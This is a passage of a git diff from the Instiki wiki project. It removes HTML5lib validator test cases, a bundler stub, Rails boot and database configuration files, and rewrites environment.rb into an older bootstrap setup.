-{"description": "valid double link rel value separated by space",
-"input": "<link rel='stylesheet alternate'>",
-"fail-if": "invalid-rel"},
-
-{"description": "valid double link rel value separated by tab",
-"input": "<link rel='stylesheet\talternate'>",
-"fail-if": "invalid-rel"},
-
-{"description": "valid double link rel value separated by LF",
-"input": "<link rel='stylesheet\nalternate'>",
-"fail-if": "invalid-rel"},
-
-{"description": "valid double link rel value separated by LT",
-"input": "<link rel='stylesheet\u000Balternate'>",
-"fail-if": "invalid-rel"},
-
-{"description": "valid double link rel value separated by FF",
-"input": "<link rel='stylesheet\u000Calternate'>",
-"fail-if": "invalid-rel"},
-
-{"description": "valid double link rel value separated by CR",
-"input": "<link rel='stylesheet\ralternate'>",
-"fail-if": "invalid-rel"},
-
-{"description": "invalid duplicated link rel value separated by space",
-"input": "<link rel='stylesheet stylesheet'>",
-"fail-unless": "duplicate-value-in-token-list"},
-
-{"description": "invalid duplicated link rel value separated by tab",
-"input": "<link rel='stylesheet\tstylesheet'>",
-"fail-unless": "duplicate-value-in-token-list"},
-
-{"description": "invalid duplicated link rel value separated by LF",
-"input": "<link rel='stylesheet\nstylesheet'>",
-"fail-unless": "duplicate-value-in-token-list"},
-
-{"description": "invalid duplicated link rel value separated by LT",
-"input": "<link rel='stylesheet\u000Bstylesheet'>",
-"fail-unless": "duplicate-value-in-token-list"},
-
-{"description": "invalid duplicated link rel value separated by FF",
-"input": "<link rel='stylesheet\u000Cstylesheet'>",
-"fail-unless": "duplicate-value-in-token-list"},
-
-{"description": "invalid duplicated link rel value separated by CR",
-"input": "<link rel='stylesheet\rstylesheet'>",
-"fail-unless": "duplicate-value-in-token-list"},
-
-{"description": "invalid duplicated link rel value separated by space",
-"input": "<link rel='stylesheet stylesheet'>",
-"fail-unless": "duplicate-value-in-token-list"},
-
-{"description": "invalid duplicated link rel value separated by tab",
-"input": "<link rel='stylesheet\tstylesheet'>",
-"fail-unless": "duplicate-value-in-token-list"},
-
-{"description": "invalid duplicated link rel value separated by LF",
-"input": "<link rel='stylesheet\nstylesheet'>",
-"fail-unless": "duplicate-value-in-token-list"},
-
-{"description": "invalid duplicated link rel value separated by LT",
-"input": "<link rel='stylesheet\u000Bstylesheet'>",
-"fail-unless": "duplicate-value-in-token-list"},
-
-{"description": "invalid duplicated link rel value separated by FF",
-"input": "<link rel='stylesheet\u000Cstylesheet'>",
-"fail-unless": "duplicate-value-in-token-list"},
-
-{"description": "invalid duplicated link rel value separated by CR",
-"input": "<link rel='stylesheet\rstylesheet'>",
-"fail-unless": "duplicate-value-in-token-list"},
-
-{"description": "valid link rel value 'feed'",
-"input": "<link rel=feed>",
-"fail-if": "invalid-rel"},
-
-{"description": "valid link rel value 'help'",
-"input": "<link rel=help>",
-"fail-if": "invalid-rel"},
-
-{"description": "valid link rel value 'tag'",
-"input": "<link rel=tag>",
-"fail-if": "invalid-rel"},
-
-{"description": "valid link rel value 'sidebar'",
-"input": "<link rel=sidebar>",
-"fail-if": "invalid-rel"},
-
-{"description": "valid link rel value 'archive'",
-"input": "<link rel=archive>",
-"fail-if": "invalid-rel"},
-
-{"description": "valid link rel value 'contents'",
-"input": "<link rel=contents>",
-"fail-if": "invalid-rel"},
-
-{"description": "valid link rel value 'previous'",
-"input": "<link rel=previous>",
-"fail-if": "invalid-rel"},
-
-{"description": "valid link rel value 'index'",
-"input": "<link rel=index>",
-"fail-if": "invalid-rel"},
-
-{"description": "valid link rel value 'end'",
-"input": "<link rel=end>",
-"fail-if": "invalid-rel"},
-
-{"description": "valid link rel value 'copyright'",
-"input": "<link rel=copyright>",
-"fail-if": "invalid-rel"},
-
-{"description": "valid link rel value 'author'",
-"input": "<link rel=author>",
-"fail-if": "invalid-rel"},
-
-{"description": "valid link rel value 'top'",
-"input": "<link rel=top>",
-"fail-if": "invalid-rel"},
-
-{"description": "valid link rel value 'alternate'",
-"input": "<link rel=alternate>",
-"fail-if": "invalid-rel"},
-
-{"description": "valid link rel value 'next'",
-"input": "<link rel=next>",
-"fail-if": "invalid-rel"},
-
-{"description": "valid link rel value 'start'",
-"input": "<link rel=start>",
-"fail-if": "invalid-rel"},
-
-{"description": "valid link rel value 'stylesheet'",
-"input": "<link rel=stylesheet>",
-"fail-if": "invalid-rel"},
-
-{"description": "valid link rel value 'archives'",
-"input": "<link rel=archives>",
-"fail-if": "invalid-rel"},
-
-{"description": "valid link rel value 'toc'",
-"input": "<link rel=toc>",
-"fail-if": "invalid-rel"},
-
-{"description": "valid link rel value 'prev'",
-"input": "<link rel=prev>",
-"fail-if": "invalid-rel"},
-
-{"description": "valid link rel value 'begin'",
-"input": "<link rel=begin>",
-"fail-if": "invalid-rel"},
-
-{"description": "valid link rel value 'icon'",
-"input": "<link rel=icon>",
-"fail-if": "invalid-rel"},
-
-{"description": "valid link rel value 'search'",
-"input": "<link rel=search>",
-"fail-if": "invalid-rel"},
-
-{"description": "valid link rel value 'last'",
-"input": "<link rel=last>",
-"fail-if": "invalid-rel"},
-
-{"description": "valid link rel value 'license'",
-"input": "<link rel=license>",
-"fail-if": "invalid-rel"},
-
-{"description": "valid link rel value 'pingback'",
-"input": "<link rel=pingback>",
-"fail-if": "invalid-rel"},
-
-{"description": "valid link rel value 'up'",
-"input": "<link rel=up>",
-"fail-if": "invalid-rel"},
-
-{"description": "valid link rel value 'contact'",
-"input": "<link rel=contact>",
-"fail-if": "invalid-rel"},
-
-{"description": "valid link rel value 'prefetch'",
-"input": "<link rel=prefetch>",
-"fail-if": "invalid-rel"},
-
-{"description": "valid link rel value 'first'",
-"input": "<link rel=first>",
-"fail-if": "invalid-rel"}
-
-]}
diff --git a/attic/vendor/plugins/HTML5lib/testdata/validator/ol-start-attribute.test b/attic/vendor/plugins/HTML5lib/testdata/validator/ol-start-attribute.test
deleted file mode 100755
index 5e18cbef..00000000
--- a/attic/vendor/plugins/HTML5lib/testdata/validator/ol-start-attribute.test
+++ /dev/null
@@ -1,7 +0,0 @@
-{"tests": [
-
-{"description": "invalid ol start attribute value due to leading junk",
-"input": "<ol start=a1>",
-"fail-unless": "invalid-integer-value"}
-
-]}
\ No newline at end of file
diff --git a/attic/vendor/plugins/HTML5lib/testdata/validator/starttags.test b/attic/vendor/plugins/HTML5lib/testdata/validator/starttags.test
deleted file mode 100755
index 0aa5b4d0..00000000
--- a/attic/vendor/plugins/HTML5lib/testdata/validator/starttags.test
+++ /dev/null
@@ -1,375 +0,0 @@
-{"tests": [
-
-{"description": "unknown start tag <foo>",
-"input": "<foo>",
-"fail-unless": "unknown-start-tag"},
-
-{"description": "allowed start tag <code>",
-"input": "<code>",
-"fail-if": "unknown-start-tag"},
-
-{"description": "allowed start tag <kbd>",
-"input": "<kbd>",
-"fail-if": "unknown-start-tag"},
-
-{"description": "allowed start tag <aside>",
-"input": "<aside>",
-"fail-if": "unknown-start-tag"},
-
-{"description": "allowed start tag <datagrid>",
-"input": "<datagrid>",
-"fail-if": "unknown-start-tag"},
-
-{"description": "allowed start tag <font>",
-"input": "<font>",
-"fail-if": "unknown-start-tag"},
-
-{"description": "allowed start tag <noscript>",
-"input": "<noscript>",
-"fail-if": "unknown-start-tag"},
-
-{"description": "allowed start tag <style>",
-"input": "<style>",
-"fail-if": "unknown-start-tag"},
-
-{"description": "allowed start tag <img>",
-"input": "<img>",
-"fail-if": "unknown-start-tag"},
-
-{"description": "allowed start tag <title>",
-"input": "<title>",
-"fail-if": "unknown-start-tag"},
-
-{"description": "allowed start tag <menu>",
-"input": "<menu>",
-"fail-if": "unknown-start-tag"},
-
-{"description": "allowed start tag <tr>",
-"input": "<tr>",
-"fail-if": "unknown-start-tag"},
-
-{"description": "allowed start tag <param>",
-"input": "<param>",
-"fail-if": "unknown-start-tag"},
-
-{"description": "allowed start tag <li>",
-"input": "<li>",
-"fail-if": "unknown-start-tag"},
-
-{"description": "allowed start tag <source>",
-"input": "<source>",
-"fail-if": "unknown-start-tag"},
-
-{"description": "allowed start tag <tfoot>",
-"input": "<tfoot>",
-"fail-if": "unknown-start-tag"},
-
-{"description": "allowed start tag <th>",
-"input": "<th>",
-"fail-if": "unknown-start-tag"},
-
-{"description": "allowed start tag <td>",
-"input": "<td>",
-"fail-if": "unknown-start-tag"},
-
-{"description": "allowed start tag <dl>",
-"input": "<dl>",
-"fail-if": "unknown-start-tag"},
-
-{"description": "allowed start tag <blockquote>",
-"input": "<blockquote>",
-"fail-if": "unknown-start-tag"},
-
-{"description": "allowed start tag <dd>",
-"input": "<dd>",
-"fail-if": "unknown-start-tag"},
-
-{"description": "allowed start tag <abbr>",
-"input": "<abbr>",
-"fail-if": "unknown-start-tag"},
-
-{"description": "allowed start tag <dt>",
-"input": "<dt>",
-"fail-if": "unknown-start-tag"},
-
-{"description": "allowed start tag <noembed>",
-"input": "<noembed>",
-"fail-if": "unknown-start-tag"},
-
-{"description": "allowed start tag <p>",
-"input": "<p>",
-"fail-if": "unknown-start-tag"},
-
-{"description": "allowed start tag <small>",
-"input": "<small>",
-"fail-if": "unknown-start-tag"},
-
-{"description": "allowed start tag <meter>",
-"input": "<meter>",
-"fail-if": "unknown-start-tag"},
-
-{"description": "allowed start tag <em>",
-"input": "<em>",
-"fail-if": "unknown-start-tag"},
-
-{"description": "allowed start tag <meta>",
-"input": "<meta>",
-"fail-if": "unknown-start-tag"},
-
-{"description": "allowed start tag <video>",
-"input": "<video>",
-"fail-if": "unknown-start-tag"},
-
-{"description": "allowed start tag <div>",
-"input": "<div>",
-"fail-if": "unknown-start-tag"},
-
-{"description": "allowed start tag <canvas>",
-"input": "<canvas>",
-"fail-if": "unknown-start-tag"},
-
-{"description": "allowed start tag <sub>",
-"input": "<sub>",
-"fail-if": "unknown-start-tag"},
-
-{"description": "allowed start tag <section>",
-"input": "<section>",
-"fail-if": "unknown-start-tag"},
-
-{"description": "allowed start tag <sup>",
-"input": "<sup>",
-"fail-if": "unknown-start-tag"},
-
-{"description": "allowed start tag <progress>",
-"input": "<progress>",
-"fail-if": "unknown-start-tag"},
-
-{"description": "allowed start tag <body>",
-"input": "<body>",
-"fail-if": "unknown-start-tag"},
-
-{"description": "allowed start tag <base>",
-"input": "<base>",
-"fail-if": "unknown-start-tag"},
-
-{"description": "allowed start tag <br>",
-"input": "<br>",
-"fail-if": "unknown-start-tag"},
-
-{"description": "allowed start tag <address>",
-"input": "<address>",
-"fail-if": "unknown-start-tag"},
-
-{"description": "allowed start tag <article>",
-"input": "<article>",
-"fail-if": "unknown-start-tag"},
-
-{"description": "allowed start tag <strong>",
-"input": "<strong>",
-"fail-if": "unknown-start-tag"},
-
-{"description": "allowed start tag <legend>",
-"input": "<legend>",
-"fail-if": "unknown-start-tag"},
-
-{"description": "allowed start tag <event-source>",
-"input": "<event-source>",
-"fail-if": "unknown-start-tag"},
-
-{"description": "allowed start tag <ol>",
-"input": "<ol>",
-"fail-if": "unknown-start-tag"},
-
-{"description": "allowed start tag <script>",
-"input": "<script>",
-"fail-if": "unknown-start-tag"},
-
-{"description": "allowed start tag <caption>",
-"input": "<caption>",
-"fail-if": "unknown-start-tag"},
-
-{"description": "allowed start tag <dialog>",
-"input": "<dialog>",
-"fail-if": "unknown-start-tag"},
-
-{"description": "allowed start tag <col>",
-"input": "<col>",
-"fail-if": "unknown-start-tag"},
-
-{"description": "allowed start tag <h2>",
-"input": "<h2>",
-"fail-if": "unknown-start-tag"},
-
-{"description": "allowed start tag <h3>",
-"input": "<h3>",
-"fail-if": "unknown-start-tag"},
-
-{"description": "allowed start tag <h1>",
-"input": "<h1>",
-"fail-if": "unknown-start-tag"},
-
-{"description": "allowed start tag <h6>",
-"input": "<h6>",
-"fail-if": "unknown-start-tag"},
-
-{"description": "allowed start tag <h4>",
-"input": "<h4>",
-"fail-if": "unknown-start-tag"},
-
-{"description": "allowed start tag <h5>",
-"input": "<h5>",
-"fail-if": "unknown-start-tag"},
-
-{"description": "allowed start tag <header>",
-"input": "<header>",
-"fail-if": "unknown-start-tag"},
-
-{"description": "allowed start tag <table>",
-"input": "<table>",
-"fail-if": "unknown-start-tag"},
-
-{"description": "allowed start tag <span>",
-"input": "<span>",
-"fail-if": "unknown-start-tag"},
-
-{"description": "allowed start tag <area>",
-"input": "<area>",
-"fail-if": "unknown-start-tag"},
-
-{"description": "allowed start tag <dfn>",
-"input": "<dfn>",
-"fail-if": "unknown-start-tag"},
-
-{"description": "allowed start tag <var>",
-"input": "<var>",
-"fail-if": "unknown-start-tag"},
-
-{"description": "allowed start tag <cite>",
-"input": "<cite>",
-"fail-if": "unknown-start-tag"},
-
-{"description": "allowed start tag <thead>",
-"input": "<thead>",
-"fail-if": "unknown-start-tag"},
-
-{"description": "allowed start tag <head>",
-"input": "<head>",
-"fail-if": "unknown-start-tag"},
-
-{"description": "allowed start tag <hr>",
-"input": "<hr>",
-"fail-if": "unknown-start-tag"},
-
-{"description": "allowed start tag <link>",
-"input": "<link>",
-"fail-if": "unknown-start-tag"},
-
-{"description": "allowed start tag <datatemplate>",
-"input": "<datatemplate>",
-"fail-if": "unknown-start-tag"},
-
-{"description": "allowed start tag <b>",
-"input": "<b>",
-"fail-if": "unknown-start-tag"},
-
-{"description": "allowed start tag <colgroup>",
-"input": "<colgroup>",
-"fail-if": "unknown-start-tag"},
-
-{"description": "allowed start tag <ul>",
-"input": "<ul>",
-"fail-if": "unknown-start-tag"},
-
-{"description": "allowed start tag <del>",
-"input": "<del>",
-"fail-if": "unknown-start-tag"},
-
-{"description": "allowed start tag <iframe>",
-"input": "<iframe>",
-"fail-if": "unknown-start-tag"},
-
-{"description": "allowed start tag <pre>",
-"input": "<pre>",
-"fail-if": "unknown-start-tag"},
-
-{"description": "allowed start tag <figure>",
-"input": "<figure>",
-"fail-if": "unknown-start-tag"},
-
-{"description": "allowed start tag <ins>",
-"input": "<ins>",
-"fail-if": "unknown-start-tag"},
-
-{"description": "allowed start tag <tbody>",
-"input": "<tbody>",
-"fail-if": "unknown-start-tag"},
-
-{"description": "allowed start tag <html>",
-"input": "<html>",
-"fail-if": "unknown-start-tag"},
-
-{"description": "allowed start tag <nav>",
-"input": "<nav>",
-"fail-if": "unknown-start-tag"},
-
-{"description": "allowed start tag <details>",
-"input": "<details>",
-"fail-if": "unknown-start-tag"},
-
-{"description": "allowed start tag <samp>",
-"input": "<samp>",
-"fail-if": "unknown-start-tag"},
-
-{"description": "allowed start tag <map>",
-"input": "<map>",
-"fail-if": "unknown-start-tag"},
-
-{"description": "allowed start tag <nest>",
-"input": "<nest>",
-"fail-if": "unknown-start-tag"},
-
-{"description": "allowed start tag <object>",
-"input": "<object>",
-"fail-if": "unknown-start-tag"},
-
-{"description": "allowed start tag <a>",
-"input": "<a>",
-"fail-if": "unknown-start-tag"},
-
-{"description": "allowed start tag <footer>",
-"input": "<footer>",
-"fail-if": "unknown-start-tag"},
-
-{"description": "allowed start tag <i>",
-"input": "<i>",
-"fail-if": "unknown-start-tag"},
-
-{"description": "allowed start tag <m>",
-"input": "<m>",
-"fail-if": "unknown-start-tag"},
-
-{"description": "allowed start tag <rule>",
-"input": "<rule>",
-"fail-if": "unknown-start-tag"},
-
-{"description": "allowed start tag <q>",
-"input": "<q>",
-"fail-if": "unknown-start-tag"},
-
-{"description": "allowed start tag <command>",
-"input": "<command>",
-"fail-if": "unknown-start-tag"},
-
-{"description": "allowed start tag <time>",
-"input": "<time>",
-"fail-if": "unknown-start-tag"},
-
-{"description": "allowed start tag <audio>",
-"input": "<audio>",
-"fail-if": "unknown-start-tag"},
-
-{"description": "allowed start tag <bdo>",
-"input": "<bdo>",
-"fail-if": "unknown-start-tag"}
-
-]}
diff --git a/attic/vendor/plugins/HTML5lib/testdata/validator/style-scoped-attribute.test b/attic/vendor/plugins/HTML5lib/testdata/validator/style-scoped-attribute.test
deleted file mode 100755
index f47795a2..00000000
--- a/attic/vendor/plugins/HTML5lib/testdata/validator/style-scoped-attribute.test
+++ /dev/null
@@ -1,7 +0,0 @@
-{"tests": [
-
-{"description": "invalid style scoped attribute value 'inherit'",
-"input": "<style scoped=inherit>",
-"fail-unless": "invalid-boolean-value"}
-
-]}
\ No newline at end of file
diff --git a/attic/vendor/plugins/HTML5lib/testdata/validator/tabindexattribute.test b/attic/vendor/plugins/HTML5lib/testdata/validator/tabindexattribute.test
deleted file mode 100755
index 02066957..00000000
--- a/attic/vendor/plugins/HTML5lib/testdata/validator/tabindexattribute.test
+++ /dev/null
@@ -1,79 +0,0 @@
-{"tests": [
-
-{"description": "valid tabindex attribute value '-1'",
-"input": "<span tabindex=-1>",
-"fail-if": "invalid-integer-value"},
-
-{"description": "valid tabindex attribute value '0'",
-"input": "<span tabindex=0>",
-"fail-if": "invalid-integer-value"},
-
-{"description": "valid tabindex attribute value '1'",
-"input": "<span tabindex=1>",
-"fail-if": "invalid-integer-value"},
-
-{"description": "valid tabindex attribute value '32768'",
-"input": "<span tabindex=32768>",
-"fail-if": "invalid-integer-value"},
-
-{"description": "valid tabindex attribute value '-32768'",
-"input": "<span tabindex=-32768>",
-"fail-if": "invalid-integer-value"},
-
-{"description": "valid tabindex attribute value with leading spaces",
-"input": "<span tabindex=' -32768'>",
-"fail-if": "invalid-integer-value"},
-
-{"description": "valid tabindex attribute value with trailing spaces",
-"input": "<span tabindex='-32768 '>",
-"fail-if": "invalid-integer-value"},
-
-{"description": "valid tabindex attribute value with trailing junk",
-"input": "<span tabindex='32768a'>",
-"fail-if": "invalid-integer-value"},
-
-{"description": "valid tabindex attribute value with trailing junk and whitespace",
-"input": "<span tabindex='32768a '>",
-"fail-if": "invalid-integer-value"},
-
-{"description": "valid tabindex attribute value with trailing whitespace and junk",
-"input": "<span tabindex='32768 a'>",
-"fail-if": "invalid-integer-value"},
-
-{"description": "valid tabindex attribute value with leading spaces",
-"input": "<span tabindex=' 32768'>",
-"fail-if": "invalid-integer-value"},
-
-{"description": "valid tabindex attribute value with leading spaces (with sign)",
-"input": "<span tabindex=' -32768'>",
-"fail-if": "invalid-integer-value"},
-
-{"description": "invalid tabindex attribute value (blank)",
-"input": "<span tabindex>",
-"fail-unless": "attribute-value-can-not-be-blank"},
-
-{"description": "invalid tabindex attribute value due to leading junk",
-"input": "<span tabindex=a1>",
-"fail-unless": "invalid-integer-value"},
-
-{"description": "invalid tabindex attribute value due to two hyphens",
-"input": "<span tabindex=--1>",
-"fail-unless": "invalid-integer-value"},
-
-{"description": "invalid tabindex attribute value due to non-numeric",
-"input": "<span tabindex=foo>",
-"fail-unless": "invalid-integer-value"},
-
-{"description": "invalid tabindex attribute value due to positive sign",
-"input": "<span tabindex=+1>",
-"fail-unless": "invalid-integer-value"},
-
-{"description": "invalid tabindex attribute value due to decimal point",
-"input": "<span tabindex=.1>",
-"fail-unless": "invalid-integer-value"},
-
-{"description": "valid tabindex attribute value with trailing decimal point",
-"input": "<span tabindex=1.0>",
-"fail-if": "invalid-integer-value"}
-
-]}
\ No newline at end of file
diff --git a/bundle b/bundle
deleted file mode 100755
index 0aba2f43..00000000
--- a/bundle
+++ /dev/null
@@ -1,21 +0,0 @@
-#!/usr/bin/env ruby
-#
-# This file was generated by RubyGems.
-#
-# The application 'bundler' is installed as part of a gem, and
-# this file is here to facilitate running it.
-#
-
-require 'rubygems'
-vend = File.join(File.dirname(__FILE__), 'vendor')
-Gem.use_paths File.join(vend, 'bundle', File.basename(Gem.dir)), (Gem.path + [File.join(vend, 'plugins', 'bundler')])
-
-version = ">= 0"
-
-if ARGV.first =~ /^_(.*)_$/ and Gem::Version.correct? $1 then
-  version = $1
-  ARGV.shift
-end
-
-gem 'bundler', version
-load Gem.bin_path('bundler', 'bundle', version)
diff --git a/cache/.gitignore b/cache/.gitignore
deleted file mode 100644
index e69de29b..00000000
diff --git a/components/.gitignore b/components/.gitignore
deleted file mode 100644
index e69de29b..00000000
diff --git a/config/boot.rb b/config/boot.rb
deleted file mode 100644
index 7c5c0d46..00000000
--- a/config/boot.rb
+++ /dev/null
@@ -1,124 +0,0 @@
-# Don't change this file!
-# Configure your app in config/environment.rb and config/environments/*.rb
-
-RAILS_ROOT = File.join(File.dirname(__FILE__), '..') unless defined?(RAILS_ROOT)
-
-module Rails
-  class << self
-    def boot!
-      unless booted?
-        preinitialize
-        pick_boot.run
-      end
-    end
-
-    def booted?
-      defined? Rails::Initializer
-    end
-
-    def pick_boot
-      (vendor_rails? ? VendorBoot : GemBoot).new
-    end
-
-    def vendor_rails?
-      File.exist?(File.join(RAILS_ROOT, 'vendor', 'rails'))
-    end
-
-    def preinitialize
-      load(preinitializer_path) if File.exist?(preinitializer_path)
-    end
-
-    def preinitializer_path
-      File.join(RAILS_ROOT, 'config', 'preinitializer.rb')
-    end
-  end
-
-  class Boot
-    def run
-      load_initializer
-      Rails::Initializer.run(:set_load_path)
-    end
-  end
-
-  class VendorBoot < Boot
-    def load_initializer
-      require File.join(RAILS_ROOT, 'vendor', 'rails', 'railties', 'lib', 'initializer')
-      Rails::Initializer.run(:install_gem_spec_stubs)
-      Rails::GemDependency.add_frozen_gem_path
-    end
-  end
-
-  class GemBoot < Boot
-    def load_initializer
-      self.class.load_rubygems
-      load_rails_gem
-      require 'initializer'
-    end
-
-    def load_rails_gem
-      if version = self.class.gem_version
-        gem 'rails', version
-      else
-        gem 'rails'
-      end
-    rescue Gem::LoadError => load_error
-      $stderr.puts %(Missing the Rails #{version} gem. Please `gem install -v=#{version} rails`, update your RAILS_GEM_VERSION setting in config/environment.rb for the Rails version you do have installed, or comment out RAILS_GEM_VERSION to use the latest version installed.)
-      exit 1
-    end
-
-    class << self
-      def rubygems_version
-        Gem::RubyGemsVersion rescue nil
-      end
-
-      def gem_version
-        if defined? RAILS_GEM_VERSION
-          RAILS_GEM_VERSION
-        elsif ENV.include?('RAILS_GEM_VERSION')
-          ENV['RAILS_GEM_VERSION']
-        else
-          parse_gem_version(read_environment_rb)
-        end
-      end
-
-      def load_rubygems
-        min_version = '1.3.6'
-        require 'rubygems'
-        unless rubygems_version >= min_version
-          $stderr.puts %Q(Rails requires RubyGems >= #{min_version} (you have #{rubygems_version}). Please `gem update --system` and try again.)
-          exit 1
-        end
-
-      rescue LoadError
-        $stderr.puts %Q(Rails requires RubyGems >= #{min_version}. Please install RubyGems and try again: http://rubygems.rubyforge.org)
-        exit 1
-      end
-
-      def parse_gem_version(text)
-        $1 if text =~ /^[^#]*RAILS_GEM_VERSION\s*=\s*["']([!~<>=]*\s*[\d.]+)["']/
-      end
-
-      private
-        def read_environment_rb
-          File.read(File.join(RAILS_ROOT, 'config', 'environment.rb'))
-        end
-    end
-  end
-end
-
-class Rails::Boot
-  def run
-    load_initializer
-
-    Rails::Initializer.class_eval do
-      def load_gems
-        @bundler_loaded ||= Bundler.require :default, Rails.env
-      end
-    end
-
-    Rails::Initializer.run(:set_load_path)
-  end
-end
-
-# All that for this:
-Rails.boot!
diff --git a/config/database.yml b/config/database.yml
deleted file mode 100644
index 015390e1..00000000
--- a/config/database.yml
+++ /dev/null
@@ -1,105 +0,0 @@
-
-# "Out of the box", Instiki stores it's data in sqlite3 database. Other options are listed below.
-
-development:
-    adapter: sqlite3
-    database: db/development.db.sqlite3
-
-test:
-    adapter: sqlite3
-    database: db/test.db.sqlite3
-
-production:
-  adapter: sqlite3
-  database: db/production.db.sqlite3
-  
-# MySQL (default setup).  Versions 4.1 and 5.0 are recommended.
-#
-# Install the MySQL driver:
-#   gem install mysql
-# On MacOS X:
-#   gem install mysql -- --include=/usr/local/lib
-# On Windows:
-#   There is no gem for Windows.  Install mysql.so from RubyForApache.
-#   http://rubyforge.org/projects/rubyforapache
-#
-# And be sure to use new-style password hashing:
-#   http://dev.mysql.com/doc/refman/5.0/en/old-client.html
-
-
-# Get the fast C bindings:
-#   gem install mysql
-#   (on OS X: gem install mysql -- --include=/usr/local/lib)
-# And be sure to use new-style password hashing:
-#   http://dev.mysql.com/doc/refman/5.0/en/old-client.html
-
-mysql_example:
-  adapter: mysql
-  database: instiki_development
-  username: root
-  password:
-  socket: /path/to/your/mysql.sock
-
-# Connect on a TCP socket.  If omitted, the adapter will connect on the
-# domain socket given by socket instead.
-#host: localhost
-#port: 3306
-  
-# Warning: The database defined as 'test' will be erased and
-# re-generated from your development database when you run 'rake'.
-# Do not set this db to the same as development or production.
-mysql_example:
-  adapter: mysql
-  database: instiki_test
-  username: root
-  password:
-  socket: /path/to/your/mysql.sock
-
-# PostgreSQL versions 7.4 - 8.2
-#
-# Get the C bindings:
-#   gem install postgres
-# or use the pure-Ruby bindings (the only know way on Windows):
-#   gem install postgres-pr
-
-postgresql_example:
-  adapter: postgresql
-  database: instiki_development
-  username: instiki
-  password:
-
-  # Connect on a TCP socket.  Omitted by default since the client uses a
-  # domain socket that doesn't need configuration.
-  #host: remote-database
-  #port: 5432
-
-  # Schema search path.  The server defaults to $user,public
-  #schema_search_path: myapp,sharedapp,public
-
-  # Character set encoding.  The server defaults to sql_ascii.
-  #encoding: UTF8
-
-  # Minimum log levels, in increasing order:
-  #   debug5, debug4, debug3, debug2, debug1,
-  #   info, notice, warning, error, log, fatal, or panic
-  # The server defaults to notice.
-  #min_messages: warning
-
-
-# SQLite version 2.x
-#   gem install sqlite-ruby
-sqlite_example:
-  adapter: sqlite
-  database: db/development.sqlite2
-
-
-# SQLite version 3.x
-#   gem install sqlite3-ruby
-sqlite3_example:
-  adapter: sqlite3
-  database: db/development.sqlite3
-
-# In-memory SQLite 3 database.  Useful for tests.
-sqlite3_in_memory_example:
-  adapter: sqlite3
-  database: ":memory:"
diff --git a/config/environment.rb b/config/environment.rb
index 4643eb12..bc3ac725 100644
--- a/config/environment.rb
+++ b/config/environment.rb
@@ -1,69 +1,82 @@
-#####
-# Bootstrap the Rails environment, frameworks, and default configuration
-####
-
-# Make sure we are using the latest rexml
-rexml_versions = ['', File.join(File.dirname(__FILE__), '..', 'vendor', 'plugins', 'rexml', 'lib', '')].collect { |v| 
-  `ruby -r "#{v + 'rexml/rexml'}" -e 'p REXML::VERSION'`.split('.').collect {|n| n.to_i} }
-$:.unshift(File.join(File.dirname(__FILE__), '..', 'vendor', 'plugins', 'rexml', 'lib')) if (rexml_versions[0] <=> rexml_versions[1]) == -1
-
-require File.join(File.dirname(__FILE__), 'boot')
-
-require 'active_support/secure_random'
-
-Rails::Initializer.run do |config|
-
-  # Secret session key
-  #   The secret session key is automatically generated, and stored
-  #   in a file, for reuse between server restarts. If you want to
-  #   change the key, just delete the file, and it will be regenerated
-  #   on the next restart. Doing so will invalitate all existing sessions.
-  secret_file = Rails.root.join("secret")  
-  if File.exist?(secret_file)  
-    secret = secret_file.read  
-  else  
-    secret =  ActiveSupport::SecureRandom.hex(64)
-    File.open(secret_file, 'w', 0600) { |f| f.write(secret) }  
-  end  
-  config.action_controller.session = { 
-    :key => "instiki_session",
-    :secret => secret
-   } 
-
-  # Don't do file system STAT calls to check to see if the templates have changed.
-  #config.action_view.cache_template_loading = true
-
-  # Skip frameworks you're not going to use
-  config.frameworks -= [ :action_web_service, :action_mailer ]
-
-  # Use the database for sessions instead of the file system
-  # (create the session table with 'rake create_sessions_table')
-  #config.action_controller.session_store = :active_record_store
-
-  # Enable page/fragment caching by setting a file-based store
-  # (remember to create the caching directory and make it readable to the application)
-  config.cache_store = :file_store, "#{RAILS_ROOT}/cache"
-
-  # Activate observers that should always be running
-  config.active_record.observers = :page_observer
-
-  # Use Active Record's schema dumper instead of SQL when creating the test database
-  # (enables use of different database adapters for development and test environments)
-  config.active_record.schema_format = :sql
-
-  File.umask(0026)
+if RUBY_VERSION < '1.8.1' 
+  puts 'Instiki requires Ruby 1.8.1+'
+  exit
 end
 
-# Instiki-specific configuration below
+# Enable UTF-8 support
+$KCODE = 'u'
+require 'jcode'
+
+RAILS_ROOT = File.expand_path(File.dirname(__FILE__) + '/../') unless defined? RAILS_ROOT
+RAILS_ENV  = ENV['RAILS_ENV'] || 'production' unless defined? RAILS_ENV
+
+unless defined? ADDITIONAL_LOAD_PATHS
+  # Mocks first.
+  ADDITIONAL_LOAD_PATHS = ["#{RAILS_ROOT}/test/mocks/#{RAILS_ENV}"]
+
+  # Then model subdirectories.
+  ADDITIONAL_LOAD_PATHS.concat(Dir["#{RAILS_ROOT}/app/models/[_a-z]*"]) 
+  ADDITIONAL_LOAD_PATHS.concat(Dir["#{RAILS_ROOT}/components/[_a-z]*"])
+
+  # Followed by the standard includes.
+  ADDITIONAL_LOAD_PATHS.concat %w(
+    app 
+    app/models 
+    app/controllers 
+    app/helpers 
+    app/apis 
+    components 
+    config 
+    lib 
+    vendor 
+    vendor/rails/railties
+    vendor/rails/railties/lib
+    vendor/rails/actionpack/lib
+    vendor/rails/activesupport/lib
+    vendor/rails/activerecord/lib
+    vendor/rails/actionmailer/lib
+    vendor/rails/actionwebservice/lib
+    vendor/madeleine-0.7.1/lib
+    vendor/RedCloth-3.0.3/lib
+    vendor/rubyzip-0.5.8/lib
+  ).map { |dir| "#{File.expand_path(File.join(RAILS_ROOT, dir))}"
+  }.delete_if { |dir| not File.exist?(dir) }
+
+  # Prepend to $LOAD_PATH
+  ADDITIONAL_LOAD_PATHS.reverse.each { |dir| $:.unshift(dir) if File.directory?(dir) }
+end
+
+# Require Rails libraries.
+require 'rubygems' unless File.directory?("#{RAILS_ROOT}/vendor/rails")
+
+require 'active_support'
+require 'action_controller'
+
 require_dependency 'instiki_errors'
+require_dependency 'active_record_stub'
 
-#require 'jcode'
+# Environment specific configuration
+require_dependency "environments/#{RAILS_ENV}"
 
-# Miscellaneous monkey patches (here be dragons ...)
-require 'caching_stuff'
-require 'logging_stuff'
-require 'rack_stuff'
+# Configure defaults if the included environment did not.
+unless defined? RAILS_DEFAULT_LOGGER
+  RAILS_DEFAULT_LOGGER = Logger.new(STDERR)
